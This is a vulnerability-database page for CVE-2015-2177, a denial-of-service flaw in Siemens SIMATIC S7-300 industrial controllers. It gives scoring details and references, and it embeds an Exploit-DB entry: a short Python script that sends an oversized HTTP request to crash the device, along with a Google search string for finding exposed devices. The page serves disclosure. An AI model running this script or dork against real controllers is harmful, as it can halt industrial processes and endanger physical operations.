CVE-2015-2177 : Detail

CVE-2015-2177

A03-Injection
31.47%V3
Network
2015-03-07
01h00 +00:00
2020-02-10
12h06 +00:00
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CVE Descriptions

Siemens SIMATIC S7-300 CPU devices allow remote attackers to cause a denial of service (defect-mode transition) via crafted packets on (1) TCP port 102 or (2) Profibus.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 44802

Publication date : 2018-05-29 22h00 +00:00
Author : t4rkd3vilz
EDB Verified : No

# Exploit Title: Siemens SIMATIC S7-300 CPU - Remote Denial Of Service # Google Dork: inurl:/Portal/Portal.mwsl # Date: 2018-05-30 # Exploit Author: t4rkd3vilz # Vendor Homepage: https://www.siemens.com/ # Version: SIMATIC S7-300 CPU family: all versions. # Tested on: Kali Linux # CVE: CVE-2015-2177 #!/usr/bin/python import socket target_address="TargetIP" target_port=80 buffer = "GET " + "\x42" * 2220 + " HTTP/1.1\r\n\r\n" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=sock.connect((target_address,target_port)) sock.send(buffer) sock.close()

Products Mentioned

Configuraton 0

Siemens>>Simatic_s7-300_cpu_firmware >> Version *

Siemens>>Simatic_s7-300_cpu >> Version -

References

http://www.securitytracker.com/id/1032040
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/44802/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/72973
Tags : vdb-entry, x_refsource_BID